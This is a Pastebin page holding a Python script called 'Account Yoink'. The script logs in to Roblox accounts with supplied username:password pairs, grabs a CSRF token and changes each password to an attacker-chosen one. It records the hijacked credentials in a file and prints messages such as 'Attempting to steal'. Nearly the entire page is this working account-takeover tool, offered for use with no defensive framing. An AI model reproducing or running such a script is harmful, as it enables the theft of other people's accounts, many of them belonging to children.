Advertisement
Guest User

Yoink Source 1

a guest
Mar 18th, 2018
1,732
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.09 KB | None | 0 0
  1. # Account Yoink by Official#0001
  2.  
  3. try:
  4.     import requests, re
  5.     import os
  6.     import json
  7.     import time
  8. except:
  9.     print('ERROR:: missing module(s)')
  10.     exit()
  11.    
  12. config = json.loads(open('config.json', 'r').read())
  13.  
  14. class rbx():
  15.     def __init__(self):
  16.         self.session = requests.Session()
  17.         self.baseURL = None
  18.         self.csrf = None
  19.         self.username = None
  20.         self.password = None
  21.        
  22.     def set_details(self, username, password):
  23.         self.username = username
  24.         self.password = password
  25.         headers = {'User-Agent': 'ROBLOX iOS'}
  26.         request = self.session.post('https://www.roblox.com/NewLogin',
  27.         headers=headers,
  28.         data = {
  29.          'username': self.username,
  30.          'password': self.password
  31.         })
  32.         if ('<h1>Login to Roblox</h1>' in request.content):
  33.             print("Your login details do not seem to be correct")
  34.             return False
  35.         if ('.ROBLOSECURITY' in self.session.cookies.keys()):
  36.             if ('data-isunder13=false' in request.content):
  37.                 print '{} is 13+'.format(username)
  38.                 self.baseURL = 'www'   
  39.             elif ('data-isunder13=true' in request.content):
  40.                 print '{} is <13'.format(username)
  41.                 self.baseURL = 'web'
  42.             return True
  43.         else:
  44.             return False
  45.         return False
  46.        
  47.     def getToken(self):
  48.         if (self.baseURL == None):
  49.             return 'Unable to determine base URL.'
  50.         headers = {'User-Agent': 'ROBLOX iOS'}
  51.         tokenURL = 'https://{}.roblox.com/home'.format(self.baseURL)
  52.         request = self.session.get(tokenURL, headers=headers)
  53.         if ('<title>Login - Roblox</title>' in request.content):
  54.             print("Unable to get token for {}").format(self.username)
  55.             return False
  56.         else:
  57.             self.csrf = re.search(r"setToken\('(.+)'\);", request.content).group(1)
  58.             print("Got token {} for {}").format(self.csrf, self.username)
  59.             return True
  60.    
  61.     def changePassword(self):
  62.         if (self.baseURL == None):
  63.             return 'Unable to determine base URL.'
  64.         global config
  65.         newPassword = config['new-password']
  66.         headers = {'X-CSRF-TOKEN': self.csrf, 'User-Agent': 'ROBLOX iOS'}
  67.         print("Attempting to steal {}").format(self.username)
  68.  
  69.         data = {
  70.             'oldPassword': self.password,
  71.             'newPassword': newPassword,
  72.             'confirmNewPassword': newPassword
  73.         }
  74.         passURL = 'https://{}.roblox.com/account/changepassword'.format(self.baseURL)
  75.         self.session.post(passURL, data=data, headers=headers)
  76.         print("Changed: " + self.username + " to " + newPassword)
  77.         self.logSuccess(self.username + ":" + newPassword + "\n")
  78.         return True
  79.    
  80.  
  81.     def logSuccess(self, string):
  82.         with open("yoinked.txt", "a") as file:
  83.             file.write(string)
  84.             file.close()  
  85.            
  86. def check_combo():
  87.     check = raw_input("Username:Password - ")
  88.     if (check.find(":") == -1):
  89.         print("Error in entry {}").format(check)
  90.         return False
  91.     session = rbx()
  92.     username, password = check.split(':')
  93.     if (session.set_details(username, password) == True):
  94.         token = session.getToken()
  95.         if (token == False):
  96.             print("Invalid Token Response")
  97.             return False
  98.         checkAttempt = session.changePassword()
  99.         if (checkAttempt == False):
  100.             return False
  101.     else:
  102.         print("Error Setting Details")
  103.         return False
  104.        
  105. def check_prompt():
  106.     username = raw_input("Enter Username - ")
  107.     while not username:
  108.         username = raw_input("Enter Username - ")
  109.     password = raw_input("Enter Password - ")
  110.     while not password:
  111.         password = raw_input("Enter Password - ")  
  112.     session = rbx()
  113.     if (session.set_details(username, password) == True):
  114.         token = session.getToken()
  115.         if (token == False):
  116.             print("Invalid Token Response")
  117.             return False
  118.         checkAttempt = session.changePassword()
  119.         if (checkAttempt == False):
  120.             return False
  121.     else:
  122.         print("Error Setting Details")
  123.         return False
  124.        
  125. def ui_main():
  126.     def title():
  127.         print ('\n' * 100)
  128.         print 'Official Account Yoink'
  129.     def ui_combo():
  130.         title()
  131.         check_combo()
  132.         raw_input('-- Hit Enter To Continue --')
  133.         ui_main()
  134.     def ui_prompt():
  135.         title()
  136.         check_prompt()
  137.         raw_input('-- Hit Enter To Continue --')
  138.         ui_main()
  139.     title()
  140.     print '> What do you wish to do'
  141.     print '1 - Yoink by Combo (username:password)'
  142.     print '2 - Yoink By Prompt (username and password separate)'
  143.     print '3 - Exit'    
  144.     user_input = raw_input('$ ').lower()
  145.     if (user_input == '1'):
  146.         title()
  147.         ui_combo()
  148.     elif (user_input == '2'):
  149.         title()
  150.         ui_prompt()
  151.     elif (user_input == '3'):
  152.         return True
  153.        
  154. ui_main()
  155. raw_input('-- Hit Enter To Close --')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement